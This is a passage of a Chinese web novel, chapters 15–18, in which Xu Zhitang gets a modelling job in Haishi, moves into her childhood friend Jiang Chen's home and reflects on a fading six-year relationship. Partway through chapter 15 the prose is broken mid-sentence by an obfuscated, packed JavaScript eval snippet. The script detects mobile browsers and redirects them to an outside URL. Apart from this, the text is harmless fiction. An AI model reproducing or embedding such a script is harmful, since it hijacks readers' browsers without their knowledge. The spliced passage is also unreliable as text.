“对了,今天晚上我也要和陶陶一起,还有明天也是。她只待两天。” “好。”蒋谌说,“那后天一起吃饭?” 许知棠:“好!” 她不确定蒋谌是不是真的相信了自己那些话。只是觉得,两人重逢后的隔阂感似乎消失了,尽管他扬言还是要继续记仇,人却像记忆中那样亲切起来。 这就足够让她高兴。 她拎着两杯奶茶上楼。陶悦已经化好了妆,在选附近评分高的餐厅,终于把她盼回来,大呼快要饿晕。 许知棠问,“不是说今天有商务合作要谈么?”她这一看就是刚起床。 “昨晚上洽谈过了。明天上午签个字就行。” 谁家好人大半夜的去洽谈商务啊。许知棠好奇死了,盘问几句只知道是个年下弟弟,子承父业是个小总裁。 “好了别管,问就是姐太有魅力。”陶悦摆出高贵姿态,“露水姻缘,不用放在心上。” 她每年都要有这么几段。也就许知棠每次都好奇心拉满,仿佛听不腻。 “跟一个人谈了六年都不换,要我说你就是纯憋的。”陶悦一手奶茶,一手搂着她,“走,今天带你换换口味。” 听说她面基成功,见到了方芷本人,陶悦羡慕不已。但今天是工作日,社畜们都要勤勤恳恳地打卡上班,临时再约是肯定没戏的。 即便是周末她约方芷,人家也是误会她得癌症了见一面少一面,才克服社恐出来的。否则能不能约出来还两说。 “蒋谌一大早叫你出去干什么?”陶悦难免要问。 “我前几天不是出车祸了么,他带我去医院再检查一遍。”许知棠说。 “很关心你啊。” 她对传说中的学神印象不错,“他长得比学校光荣榜上帅多了。那照片也不知道谁拍的,给他拍得黢黑,眉毛眼睛都看不清。” “……” 许知棠耻于承认,那张照片其实是她在家里拿旧DV拍的。天知道蒋谌为什么会在学校要照片时,把它洗出来交上去。 15. 第 15 章 “吃完我们一起去逛逛,我有好多礼物要买。”她明智地转移话题,“我承诺过粉丝,破十万粉要直播抽奖的。” 她私信感谢了“海的那边是什么”,评论里也有互动。这两天粉丝涨得飞快,远超预期,她也得赶紧兑现承诺,香水口红Jellycat,都是看她视频的女孩们会喜欢的。 “我看了她主页视频,发现她之前是中戏表演专业毕业的,拍过好几部网剧呢,线下看真人也超美。”许知棠说起来很是惆怅,“如果不是因为生病,现在说不定已经红了。” 结账时陶悦直接抢了账单,扫码付款。她一时没反应过来,小票拿手里了才开始娇羞。 行为上挽起姐妹的胳膊,心态上熟练地抱起了大腿,“诶呀这是干嘛,多不好意思啊。” “少来这套。” 陶悦嫌她腻味,可还是亲亲热热地挽着手,替她拿了另一个稍重的购物袋,“小时候天天赖在你家吃饭,我也没跟你客套过啊。” 陶悦上初中时家里欠了巨债,父母也不知道怎么想的,丢下她这么个独生女跑去两广找活路。 老家亲戚嫌她麻烦,怕收留了她会招惹讨债的上门,不得安宁。无处可去的时候,居然是许知棠这么个同班同学,把她领回家住了大半年。 许知棠是个一旦喜欢跟谁玩,就恨不得跟人家二十四小时黏在一起的人,那年跟她同吃同住形影不离,过得很开心。父亲乐得见女儿高兴,也没什么意见。 父女两个都心大,多一个人吃饭多双筷子而已,一个小女孩能吃多少饭啊,也不觉得是什么惊天动地的恩情。 但对于她来说,那是一辈子都忘不了的第二个家。 后来父母成功翻身,带着钱回来还了债,又把她接回去。老赖的女儿摇身变成了富二代,身边人的态度简直也是天翻地覆,但她没再交过什么知心的朋友,还是只跟许知棠玩儿。 可能就是因为小时候经历过跌宕,人情冷暖很看得开了,现在她活着就主打一个随心所欲,高兴就行。 自己高兴。最好让闺蜜也高兴。 晚上回酒店细数战利品,许知棠摆了一床拍照发博。 “十万粉小目标达成[飞吻][飞吻]买了很多小礼物,过两天开直播送给大家~” 有些眼熟的评论她都会回复,和粉丝互动也是工作内容之一。 陶悦敷着面膜在旁边看了她一会儿,颇感欣慰,“看你现在这么有精神我就放心了。” 本来想说带她去酒吧玩的,这么着急回来,原来是干正事。 “今年三天两头的叫你都不出来,上个月见你还一脸没精打采的样呢。我真怕你一蹶不振,在家里想不开干什么傻事。” “我哪有那么脆弱啊。”许知棠说,“上半年是不太顺,这不就好起来了嘛。” 她先是认同地点头,话题忽然一转,“何松砚真没跟你求婚?” “……也不算求婚,但他确实跟我提了结婚的事,说明年就要考虑买婚房什么的。” 许知棠叹了口气,放下手机搓搓脸,“陶陶,我觉得我是不是还没长大?其实也该考虑的时候了,可我听到那些事,还是觉得跟我太远,没有一点概念。” “那就不要跟他结婚。”陶悦又有点不忿了,“而且你们现在是分手中啊,他为什么会在分手的时候说这个。结婚诶,难道不该在感情最浓密的时候讲吗? 许知棠一拍大腿,“我就说感觉哪里不对呢!还得是你,我的嘴替。” 听到何松砚说结婚,她心里没有触动是不可能的。没办法,她就是一个很容易感动的人。 但原来那种别扭的感觉,是可以被归纳出来的。 没错,就是不合时宜。 “是他单方面觉得你们可以结婚了吧?你又不觉得。难道什么事都听他的吗。” 陶悦再接再厉道,“你千万不要因为谈恋爱久了,就觉得该跟他结婚。谈个十年八年的分手也很正常,人只有在想结婚的时候才可以结婚!” 她从来就是不喜欢何松砚的。什么光风霁月克己复礼的何医生,外在形象那么完美的人,通常内心都得有点毛病。 更何况在她看来,何松砚就是横在她和许知棠之间的小三。 许知棠上大学的时候几乎都在围着这个男人转,姐妹聚会能鸽就鸽,就为了配合他的休息时间。因为这个,跟不少朋友都疏远了。 陶悦也没怎么正经谈过恋爱,但起码知道,健康的爱情不该让人失去朋友。 “你想想你以前,出来玩一天能看微信几十回,不是给他发,就是看他有没有回复你。别说他,我都有点烦你。现在多好啊,我们自己玩自己的,又不是没男人就不能活了。” 她今天还特意观察了许知棠看手机的频率,何松砚浓度大幅度下降。心想这次分手估计是来真的,必须得全力支持。 许知棠惆怅地叹气,“有吗?” 或许她根本就没有好。只是因为接受了自己是小猫咪,才从那种情感焦虑里解脱出来。 她马上就不当人了,也就不用再为人类的问题烦恼。统统丢掉就是。 “我过几天回云川,到时候跟他面对面讲清楚。婚我结不了,房子当然也不能要。” 许知棠说,“但他好像不相信我的话。他还是觉得我在吃院长女儿的醋,所以在跟他闹别扭呢。” “别太自恋了他。”陶悦嗤之以鼻。“放心,以后他要是敢骚扰你,随时叫我上门。姐有的是手段。” 许知棠嘿嘿一笑,倒在她身上唱一首世上只有姐妹好,唱着唱着心里却想到蒋谌。 蒋谌人也挺好的,还帮她想办法来着。也不知道小说更新了没有,接下来她回到云川,任务又该怎么解决。 拯救世界的责任感隐隐笼罩在她心头。 她小时候喜欢看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661114|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热血漫,也幻想过自己能成为英雄,最好是魔法少女,和一群伙伴去拯救世界。 那时候她还问过蒋谌想不想当她的搭档,他是怎么回答来着? 应该是答应了吧。他小时候也蛮有正义感。 谁都想不到,小时候天马行空的愿望,现在居然能匪夷所思地实现……起码实现了一半。 谁说只有魔法少女才能拯救世界?她魔法小猫也可以。 “你手机在震。”陶悦拍她屁股叫她起来,“接电话去。我要把面膜洗了。” “哦。”许知棠麻溜爬起来,拿起手机一看,正好是蒋谌的消息。 【辰野经纪人绿色官方版[名片]】 【你手机里有没有保存现成的简历?发一份过去】 【如果条件合适,最快明天就可以安排面试】 许知棠大为震惊,马上打给他,“你还真的帮我问到这家公司了?这是传说中的内推名额吗!真的是这家?!” 蒋谌刚下班,手机连上蓝牙,整个车里都回荡着她高分贝的尖叫。只是因为要开车,空不出手来堵耳朵,“说了是绿色官方版。是我认识的人推过来的,放心去。” “你怎么这么厉害啊!厉害死了。” 许知棠通着电话,手指也没闲着,迅速找出自己之前面试模特公司的简历,“我得再筛选一下简历里的照片,换成他们家的风格。可我身高会不会不够啊?看他家模特平均身高都一米七的,我只是刚擦线过最低标准而已,竞争力也不够啊。怎么办,我已经开始紧张了!” 奇怪,那晚她自己去冒充辰野的工作室面试,都没有这么紧张。 许知棠想大概是因为,这次是他带来的面试机会。 感觉很像小时候,周末回家还要做他出的卷子,往往比学校里的模拟卷还要难。 没错。她说,“很像是去要考试诶!” “能怎么办。”他居然还有心情说风凉话,“紧张也不能瞬间长高十厘米。” 就像在说,紧张也不能比平时多会两道题。 “可我万一面试通过了怎么办?” 她都顾不上还嘴了,紧张到开始胡言乱语,“万一他们要我留在海市上班呢,难道还要搬家租房子?我完全没有准备啊!我只是想来找你而已,我……我云川家里晾的衣服都还没收呢!” “……” “这座城市这么大,我还没有做好只身闯荡的心理准备!” 真不知道该说她谦虚还是自信。 可如果她想要尝试开启新的生活,阳台上晾好的衣服总能收回,海市也并非没有她的安身之处。 在给她安排面试时——或者更早些,医院里跟魏林瀚对话过后,蒋谌就已经考虑到她会面对的所有问题。并在心里划出了可以接受的方案。 “谁让你只身闯荡了。” 蒋谌说,“再不济,我家还有个空房间。” 16. 第 16 章 让渡个人空间不是件小事,他也是自己反复思量,慎重考虑过才开口的。 谁知许知棠反应特别真实地嘁了一声,不假思索,“难道还让我住你家?” 她是去过蒋谌家的,那里到处都透露出“不欢迎任何人”的气息。所以她想说的其实是——难道你会愿意? 可是两个人听到的重点好像不太一样。 蒋谌沉默了,踩下油门,也学她嗤了一声。声音听起来发凉,“怎么,还看不上?” 就这句才让许知棠反应过来。 他居然有在认真提议。 “谁啊?”陶悦从洗手间里探出个脑袋,“你要去谁家?” “……”许知棠打了个等等的手势,对着手机说,“我明天送走陶陶去找你吧,明天晚上你有空吗?我请你吃饭,见面说。” “好。” “谁啊谁啊。”陶悦非常之感兴趣,“蒋谌还是姚一尧?” “蒋谌。” 她把新的工作机会一说,陶悦举双手赞成,“这肯定要去啊,来我给你看看简历。” 许知棠把能用的样片都找了出来,用心雕琢简历。行动上已经证明了一切,只是理智和情怀还在打架,“可我还是很想回家的。” 她从没想过在云川以外的城市生活。这也是她刚刚下意识地认为,蒋谌是在开玩笑的原因之一。 “没出息。”陶悦嫌弃道,“年轻人都要往大城市走的好不好,留在那小地方混吃等死有什么意思。” 许知棠不服气,“云川就是很好啊,好吃的好玩的很多,我一辈子都想生活在那里。” 但辰野在海市,安排的工作就基本都在海市和周边地区。她要回云川住肯定也不现实。 “那你的梦想呢?留在云川可是很难实现的。” 不同地区的资源差距可太大了。陶悦说,“人嘛,有失才有得。就好比今天,你丢掉一个何松砚,得到了留在海市的机会。这不就是……我靠,怎么感觉这好像是既得又得的好事。” “又在嘲笑我!”许知棠一个飞扑,跟她在床上打作一团。 夜色愈深了,床头灯只剩一盏。 有两三个月的时间,她们都没在一起说过这么久的话,从星星月亮聊到人生理想。 “宝,你要知道,这世上归根结底就没有什么难事是过不去的。” 陶悦搂着她,静静地说,“一家子人能过,两个人能过,一个人还是能过。保持快乐的秘诀就是,看你手里有什么,就只想着什么。” “再不济还有我。先在这试试,大不了混不下去了再回家呗。人家啃老你啃我,一样的。” 许知棠正哭得难受,闻言很不客气地抓着她咬了一口。半晌,又小声地问出那个问题,“如果有一天我变成猫,你还会这么爱我吗?” 陶悦立刻开始规划,“那你得提前跟我说好要不要做绝育啊。这手术很重要的。” “……” “变成小狗也爱你。”她慵懒地抬起手,睡袍袖滑落,莹白的手臂上有个浅浅的牙印,“看这情况,你变小狗的概率更大。” “也有喜欢咬人的小猫好不好。”许知棠依依不舍地抱着她睡。 明天她就又要走了。陶悦的乐趣是到处开公司,全国飞,两个人其实也不常见到。 如果真有变成小猫的那天,陶悦会不会认不出她?她又该怎么让陶悦相信,那只不会说话只会喵喵叫的小猫是她呢。 “我也爱你。”她只好抓紧机会,先把话说尽了,“特别特别爱你。” 陶悦受不了地说,“肉麻死了。” “嘿嘿。”可是很满足。 许知棠睡了安稳的一觉。 没有美梦,却比那更踏实。 ** 送走陶悦之后,许知棠独自去面试。 其实她今年在云川和周边城市的模特公司,已经面试过三次,陶悦都抽出时间陪着她。每次都没成,还是有一点点丢脸的。 这是今年的第四次。许知棠心想干脆录个模特公司面试vlog,万一还是不成功,也能留点素材。这就是自媒体人的职业素养。 以至于走进面试间时,她还举着随身相机。一个照面就把经纪人笑到,“怎么来旅游来了。” “想记录一下。”许知棠不好意思地收起相机,“我就拍到门口这里。” “不用啊没关系的,你拿进来放在旁边录嘛。”这行业里自己开账号做博主的太多了,大家都见怪不怪。 许知棠就先坐下来跟她聊天。巧的是对方居然老家也是云川的,简直一见如故,没说几句都切换成家乡话了。 闲聊之后进入正式面试,经纪人对她的简历本来就颇为满意,见了面更加确定。 她的短板只在于166擦线过关的身高和略显青涩的镜头感。不过平面模特和t台模特不同,矮也有矮的拍法,要看具体的商单类型。镜头感更是需要日积月累的训练,毕竟是新人,公司要求没有想象中那么苛刻。 “模特的第一重点还是脸。”经纪人很看好她,“妹妹,你长了一张能赚钱的脸哦。” 许知棠觉得自己是飘着走出公司的。 时间还早,天色澄澈,照得人心里亮堂堂。 她仿佛已经有数月没见过这么好的天气。 她要把喜讯广而告之,第一个要告诉的人当然是陶悦。 陶悦刚下飞机,语气一点都不意外,“我就知道你能过!都说了把航班改签掉,这会儿还能跟你一起庆祝呢,非让我先走。” “过几天我还要回去带点东西来,到时候找你庆祝也是一样的!” “行吧。那你现在是不是要去找落脚的地方,钱够不够用?海市租房子肯定比这边贵得多。” “还没找呢。”许知棠诚实道,“蒋谌说我可以先住在他家。” 陶悦一怔,不知在想什么,直接笑出声了,“大善人啊。” “我还要再跟他商量一下。也有可能他的意思就是先在他家里过渡,住个几天。毕竟临时找房子很容易被坑的。” 许知棠自认为分析得很好,但听到她在那头一直笑,有点摸不着头脑,“你这么高兴啊?” “当然。为你高兴。”陶悦道。“接下来可有一通要忙了,等安顿下来再跟我说吧。” “好!” 许知棠又通知了方芷。她在这里找到了工作,等安顿好以后就能经常找她一起出来玩了。 两分钟后方芷回信,表示热烈祝贺她,但对“以后经常一起出来玩”的提议没有发表具体意见。 磨蹭一会儿再看看时间,还是没到点下班。许知棠实在按耐不住,给蒋谌发了微信,小小炫耀一番。 【恭喜】 【我今天可以早点下班,你想去哪里吃晚饭?】 【我还没看呢,等下选好把地址发给你!】 许知棠衡量着兜里剩下的几个子,选了家最贵的餐厅。 餐厅在视野开阔的江岸,建成一座迷宫似的花园,得跟着导引牌走才能找到用餐的座位,但装潢和食物用具都实在美丽。 她在里面待了几分钟就坐不住,出来大拍特拍,顺便还可以等人。 等蒋谌下班过来,果然找她找到迷路。她隔了老远率先发现目标,一只手捧着相机,另一只手高高地举起来晃,“蒋谌!” “……” 蒋谌闻声回头,恍然如大梦骤醒,手臂上起了一层细小的疙瘩。 不知道有多少年没听过人这样扯着嗓子,兴奋地叫他的名字。哨子似的尾音高高扬起,从遥远的少年时代传来回响。 他脑海中莫名浮现出很多声音。夏天的蝉鸣和汽水呲呲冒泡,冬天被烤蜜薯的第一口烫得嘶嘶哈气,踩在厚厚的雪层上咯吱响。带着纯粹的,鲜活的生气与体温交织,总以为很容易就会忘掉的小事,其实最最难忘。 思绪扩散得遥遥无边,又一瞬间归拢,锁定在眼前得意洋洋的笑脸上。 “你冷吗?”许知棠发现他没穿外套,怀疑他一言不发是被冻傻了,“那快点进去吧。” 接下来蒋谌根本就插不上话了。她有太多事情要说,整个这一天的行程加每个细节的心理分析,层层推进。 她讲话又很有画面感。蒋谌感觉像在看电影,一会儿是大全景,一会儿又给特写表现人物心情。 许知棠说累了,才抽空评价一下这家华而不实的餐厅,“这个鱼汤还没我做的好喝。” “既然聊得那么好,”蒋谌问,“今天怎么没有签合同?” “我想跟你商量一下再决定啊。”她说。 辰野给了她几份不同的合约选择,最短可以签季约,时长只有三个月。到期再续约或是选别的公司,这样灵活性更强。 就当是张限时体验卡。 她没做太长远的职业规划。只是在她做回小猫咪之前,最后再体验一下向往的人生。 蒋谌想说她签个一年两年也没什么要紧。但这样显得好像很希望她留下来,显然他并没有那么想。 于是他矜持地点头,“也行。你自己决定。” “那这三个月,我就先住在你家啦。”她说。 时间短,另外找房子很难有合适的。万一两人住不到一起天天吵架,那她就搬出来在酒店凑合凑合,反正只有三个月而已。 “房租我是肯定会给你的。但是我还没有把自媒体的账号做起来,拍摄时间也没定呢,收入不稳定,可能给不了你很多,只能说多多少少帮你分担一点还房贷的压力吧。” 她一本正经道,“而且我平时有空也会做家务,讲卫生懂礼貌,绝对不会把乱七八糟的人带回家。哦我现在还会做不少好吃的,你加班的话我还能帮你准备宵夜……” 蒋谌打断她,“到底是来应聘还是来合租?” “唉,也不能说是合租吧。毕竟是你家,算我单方面来借住。”虽然是朋友,她多少还是得顾虑一下,起码表个态度出来,“你肯帮忙我很感激的,但也不能太占你便宜。” “是我家。”蒋谌说,“所以我本来就是一个人在负担开支。你住进来,每个月多给一百块都算我赚的。” 她嘿了一声,才又笑起来,“那我肯定能比一百块多点。” 这样她也不用担心距离太远,不好完成任务了,“以后我们住在一起,等小说更新了随时可以行动,就方便得多。” 说到这个,她还有件心事,“如果有一天我变成猫,你可以帮忙把我送回云川吗?” 等闯荡结束,小猫咪也想要落叶归根的。 蒋谌用难言的目光看着她,点了点头,“可以。” 她彻底放下心来,舀了一勺不怎么好喝的鱼汤,由衷道,“谢谢你。” “不客气。”他说,“只是兑现承诺。” “嗯?什么承诺?” 他抿起嘴唇,看起来用了很大的决心,才克服羞耻,面无表情地举起杯,“一起拯救世界吧。” “……” 许知棠睁圆眼睛,倏尔笑开了花,拿起饮料跟他碰了一下,信心满满。 “一起拯救世界!” 这是心情非常爽快的一天。只有最后在她去洗手间补妆时蒋谌先结了帐单,让她有点不满。 “就当是为你庆祝。”蒋谌说,“像你这么恋家的人,能下定决心不容易。” “就是啊!”她深以为然。“那我下次再请你好了。” 反正以后要一起生活,日子还长。 隔天许知棠正式签下合同。蒋谌下了班,开车带她去买基本的家具和生活用品。 客卧里除了床,衣柜和化妆桌是选好让工人送到家,其他的 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这么算下来,其实他很早就习惯一个人独立生活了。 许知棠心里悄悄给他竖了个大拇指。 她马上二十七岁了,在今年以前,最多最多也没有超过一个月不回家的。哪怕屁事儿没有,也得跑回去骚扰一下老父亲,不然就浑身不舒服。 “已经够了。”他说。“就先这些吧。” “……哦。”许知棠一时不知道他在说从前的关心,还是将满的购物车。 大件的家具要明天才能送到,她跟蒋谌一起回家,先整理大包小包的生活用品。 进去之前,蒋谌在电子锁上录进了她的指纹。 许知棠莫名激动了一下,仿佛她在这座城市里也有了个家。进门看到水族箱里的鱼群都要在心里打个招呼,又见面了。 “我能在客厅直播吗?”她在沙发前转了一圈,“感觉这里比较摆得开。” “嗯。我白天基本不在家,下班也晚,跟你工作时间不冲突。你随便怎么折腾,弄完自己收拾干净。还有,”他着重强调,“吃饭的时候自己吃,别把我鱼喂死了就行。” 要是没这句,她一天吃几顿,鱼一天就得吃几顿。 其他好像也没什么要交待的。毕竟不是好奇摸电门的年纪了,留她一个人在家还能有什么不放心的,“明天起你随时可以过来住。酒店里的东西一个人拿得完吗?” “好的!”许知棠兴致勃勃,完全忘记自己酒店房间的沙发和桌椅上已经堆成小山,“我可以分两趟,先拿到大堂再打车。你安心上班。” 她准备等搬过来之后,在这里开直播抽十万粉的礼物。感觉蒋谌家上镜比酒店好看。 “对了,我还要给你改个备注。”她拿出手机,“你猜猜。” 蒋谌并没有猜的机会。因为她迅速改完,直接举起屏幕展示—— 【人】 蒋谌感觉智商在被攻击,“那我是不是也得给你改成,猫?” “可以。”她害羞地说,“但其实我叫小咪。小说上写的。” “……” 小咪能有什么坏心思呢。她只是很诚实罢了。 大采购时很爽,整理起来要人命。她不想把活都丢给蒋谌,自己先回休闲休息。两个人忙活到半夜,她把四件套洗好烘干才走,回到酒店累得倒头就睡。 隔天上午又是一通奔波。家具送到了,家里不能没人,她不得不早早起床,等工人来忙完打扫卫生,再把从酒店里带来的行李一阵收拾,累得顾不上欣赏新买的四件套,倒在床上又昏睡过去。 傍晚时分,她终于醒来,感觉精力恢复了大半。于是起床洗漱化妆,准备好灯光和充电器,坐在客厅里开始直播。 由于提前发了直播预告,她的粉丝已经等候多时。 【宝宝宝宝!好久不见!】 【刚从边边那里过来的,主播好漂亮】 【宝贝今天的妆可以出妆教分享!好美好美】 【躺躺搬家了莫?房间背景和之前不一样】 【支持出妆教!我蹲蹲蹲】 【……】 “是搬家了哦,刚收拾完。”许知棠笑眯眯地回答弹幕上的问题,心情不错,“妆教视频吗?可以出!我改天录一期给你们看,今天要先抽礼物~” 她分享欲极强,每一件礼物是在哪里买的,买的时候发生什么事情都要说它个仔仔细细。 陶悦百忙之中抽空来她直播间待了几分钟,飞机跑车嘉年华刷了一通,把气氛带起来就走了。 效果很好。今天的观众一直维持在一千多人,没有掉回三位数。许知棠舍不得太早下播,抽完礼物跟粉丝继续唠嗑唠到不知天地为何物。 直到听见门锁传来响声。 蒋谌才下班,回到家已经九点过。没想到她还在对着手机妙语连珠,压低声音问了句,“还在直播?” “嗯。”她这才反应过来,已经播了快五个小时,瞬间有点头晕眼花,“宝宝们今天先到这里吧,主播也是快要燃尽了,得去和宵夜续一下火花。” 【嗯嗯嗯那是什么动静?怎么还有点好听】 【是男人!是男人的声音!!】 【有什么奇怪的,躺躺早就说过有男朋友啊】 【姐夫哥什么时候入镜啊让我们见见】 【宝宝这么颜控男朋友肯定是帅哥哈哈哈】 【……】 “啊?他不是我的男朋友。”许知棠下意识地澄清。 原本想说“他是我的室友”,可好像并不准确。这里是他家,要说蒋谌是这个家的主人……听起来好像也有点奇怪啊。 她一定是聊天太久,用脑过度了,才会在纠结中莫名其妙地断句,“他是我的……呃,主人。” 17. 第 17 章 【???这是我能听的吗?!】 【奇怪的play增加了哈哈哈太有节目了姐快点火吧】 【主人哥声音这么帅干脆露个脸呗】 【主人哥哈哈哈哈哈】 【趁姐夫哥不在我投主人哥一票】 【那还说啥了,你投我也投】 【hhh这就开始了吗你们】 【……】 “不是,是室友!嘴瓢了哈室友室友。”许知棠在尴尬中狼狈逃离直播间。 五个小时都播得好好的,最后一段居然垮掉。她心有不甘,转头望向蒋谌。都懒得戳穿他,哪有人喝水一顿一顿的,“笑什么笑!你这个人怎么一点同情心都没有。” 原来下班回家有人表演节目,对缓解工作疲劳这么有效。蒋谌还算有点良心,没给她的尴尬添砖加瓦,转移了话题,“还没吃饭?” 他打开冰箱看了一眼,昨天跟锅碗瓢盆一起采买的食材都没少,甚至看起来更满了。厨房没有开火的痕迹。 “本来要点个外卖的,播着播着忘记了。”她伸了个懒腰,摇摇晃晃地站起来,感觉有点晕就又坐了回去,把手机往他那边儿伸,“给我填个地址,我都还不知道这里叫什么呢。” 蒋谌脱了外套,随手搭在椅背上,过来给她填外卖地址,“手机号还是以前的那个?” “对啊。”她瘫在沙发上,“幺……” “不用幺了,我记得。” 这么多年了还没忘记。许知棠感叹,“学习好的人脑子可真是好使啊。” “……” 有电话打进来。蒋谌看了一眼,没有理会,填完最后一个数保存地址,才说,“有人找你。” “谁?”许知棠懒懒地瞥过去,看到屏幕显示立刻坐了起来,接过手机。“……嗯,刚直播完。” 何松砚问,“怎么播到这么晚?” 像个上课走神被点名的学生。蒋谌看她局促地抓了抓头发,低声回答着对面的问题。 他没停留,也根本不想听,离开这里去餐桌边坐下,打开电脑给带回家的工作收尾。 许知棠住进次卧,他想装一间书房的计划也暂时搁置了。好在餐桌还算大,当个临时办公桌完全够用。 她的声音从客厅传过来,时高时低,有种十分收敛的隐忍。 蒋谌回忆小时候的争吵,又或者是刚发生不久的吵架。无论关系是熟是生,怎么都不记得许知棠在他面前有过这么好的耐心。 还挺会看人下菜碟的。 “嗯,过两天就回去。”许知棠跟对面没聊多久,“正好我也有事要告诉你,到时候一起说吧。” 她昨天签完合同发了条朋友圈。何松砚电话里却提都没有提一句,肯定是没有看到。 不过没关系,她已经不用因为男朋友不关注她的朋友圈而感到生气了。 直播时又有新的动态。她点开浏览,看到程欣在评论里恭喜她,并询问她签的是哪家公司。 许知棠想了想,私信回复她,说了更多细节。 程欣的条件简直就是为模特而生的,不干这行连她都觉得很可惜。 如果还有意愿,她也能找经纪人姐姐帮忙介绍一下。就算不签进辰野,再试试别的公司也好。 程欣说了许多感谢她的话,表示还要再考虑一下。最近降温孩子又生病了,暂时脱不开身。 能帮的都帮了。许知棠功德圆满,抬头冲餐桌那边问,“你要吃什么吗?” “吃过了。”蒋谌盯着电脑。 “怎么下了班还要工作呀。”她小声嘀咕着收回目光,在外卖软件里浏览一遍,看来看去都没什么胃口。 “你想不想喝鱼汤?”片刻后,她又扬起声音。 蒋谌依旧没抬头,“这么晚了去哪儿喝?” “我会做啊。” 许知棠丢开手机。她今天铺床的时候忽然想喝,特意去楼下生鲜超市又买了鲫鱼豆腐和薄荷叶,只是睡醒忙着直播,才刚想起来。 冰箱里有小番茄,她洗了几只垫肚子,把要用的食材通通拿出来码在流理台上,就这样开始备菜。 都快十点了。蒋谌没想到她说做还真做起来,感到无厘头的同时又有些新奇。 于是他合上电脑走进厨房,挽起袖子,“需要我干什么?” 许知棠看过来,不知想到什么忽然笑了。眼尾的紫色亮片闪着细碎的光,“你要先把手表脱掉。” 她按照父亲留下来的方法做鱼汤。工序复杂繁琐,先要煎鱼,热锅冷油,小火慢慢煎到微黄。她却做得冷静娴熟,连油溅起来都没有害怕躲避的动作。 如果不是亲眼看见,很难想象。蒋谌这一刻才真正感受到,时间改变一个人的力量。 “小时候我们俩给大人送饭,生的生糊的糊,还差点把锅烧坏。”她也想到以前,一边忙活一边傻乐,“倒腾半天浪费一堆蔬菜,到最后只有一锅白粥是能吃的。” “粥也糊底了。”蒋谌客观地道出事实。 “……” “只是稍微微微有一点糊底!但她们还是吃得很开心,对吧。”她骄傲地说,“满满一大桶的粥,带去护士站一下子就被分完了。我觉得我妈感动得都快哭了。她后来还给我涨了十块钱的零花钱呢。” 那是六岁还是七岁?还是一个人抱不动装满的保温桶,需要两个人轮流拿的年纪。 不过他们两个都没有做饭的天赋,也没太大兴趣,过家家似的玩了一次,之后就再也没做过。 加水煮沸,放入豆腐小火慢炖,最后再加香葱薄荷和调味料。许知棠盖上锅盖,“只有我爸做鱼汤会往里面放薄荷。” 鲜美的香气逐渐溢出厨房,热腾腾地弥漫在整个家里。她深吸了一口气,熟悉的香味令人心安,“是不是有种小时候放学回家的味道?” 蒋谌把用过的厨具放进水槽冲洗干净,给予高度评价:“是深得真传。” 许知棠的爸爸喜欢钓鱼,也很会做鱼,烧的鱼汤更是拿手美味。有段时间几乎每天晚上都会做,一做好饭她就跑去叫蒋谌一起喝。跑了几次嫌累,干脆就叫他放了学自己过来。 蒋谌并没有那么喜欢吃鱼,但他家里不常有大人做饭,有得吃就不错了,还挑什么。久而久之也吃得惯了。 记忆里的香味再次沸腾,他也短暂地恍了神。 许知棠的父亲年轻时没有稳定工作,在成年人看来多少有些不务正业,但在小孩子眼里是 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许知棠朋友圈典型的报喜不报忧,从没有发过跟父亲生病去世有关的内容。他也没有别的一直生活在云川,保持联系的朋友。否则,怎么也该回去探望一次。 “抱歉。”遗憾已成。他除了帮长辈上心,多照顾照顾许知棠,也没什么别的能做了。 “干嘛总说这个。难道你是什么抱歉型人格吗?” 许知棠反过来批评他,“做人负担不要太重。” 她本来想说其实这些年,自家老爸时不时还会念叨起他,现在倒是说不出口了。 “对了,你知道我爸为什么教我做饭吗?”她揭开锅盖,浓郁的香味直往外扑,“诶他真的很土,说什么‘要想抓住一个男人的心就得抓住他的胃’。我那时候追人正上头呢,什么建议都能当真,烧坏了两个锅硬是学会了。” “我还跑到宿舍楼去送,眼巴巴地等一两个小时,等努力用功的何同学自习回来,立刻就让他喝上。还美滋滋地想,他肯定拜服在我的手艺里了!后来在一起他才告诉我,其实鱼汤一凉就会泛腥,就那样他也喝了半年……唉,后来我们就只在家里的时候才会做了。” 许知棠露出怀念的神色。只有在说起这些冒着傻气的小事时她才会觉得,学生时代真的已经离了很远。 她还说让蒋谌负担不要太重。可就连她这样性格跳脱,不爱思虑的人,活到现在也会感觉越来越迈不开脚步。 “追了半年?” “是啊,从夏天追到冬天呢。”她从小到大都没干过几件有毅力的事,想想自己都要佩服,“第一次谈恋爱简直有用不完的劲。” 蒋谌面无表情地呵了一声,“真是第一次么?说得好像高中没谈过一样。” “本来就没谈过啊!”她下意识地否认,蓦地发现不对,又立刻改口,“高中那是没认真谈,所以不能算数。” “……” 她狡辩一贯有自己的逻辑。蒋谌似乎没怎么起疑心,找出昨天买的汤盆和碗勺,“先出去吧,我来盛。” “哦。”许知棠赶紧拿着碗筷溜了。 她不擅长说谎。虽然已经是很久以前的事了,最好还是别被看出来。 18. 第 18 章 “我准备后天回云川一趟。” 两人面对面坐下来吃宵夜。她主动说,“我回去带电脑,还有衣服什么的。哦,还要跟我前男友好好谈一下,我分手好像没分干净。” “……” “年前除非有工作,我就不再回云川了。这回我得给他说明白,不然他还要来找我的。” 许知棠对自己的脾性也很清楚,“到时候看他跋山涉水风尘仆仆的,我又心软了可就难办了。” 蒋谌不置可否,“为什么分手?” 这问题问得可就大了。这么长的一段感情走到尽头,出问题的事情当然也不是一件两件。 许知棠概括,“我总是不确定……他是不是真的爱我。” “他人很好,对我也很好。但可能因为人太好了,大家都称赞他,信任他。我总是怀疑,会不会他对所有人都一样照顾。” 所以才喜欢发朋友圈秀恩爱,试图告诉别人也告诉自己,她是最受偏爱的一个。 “其实他人挺有边界感的。我们医院里乌七八糟的事可多了,他没有,他什么都不瞒着我。大姚哥听老家的人传说我们要结婚了也正常,大家应该都是那么想的。” 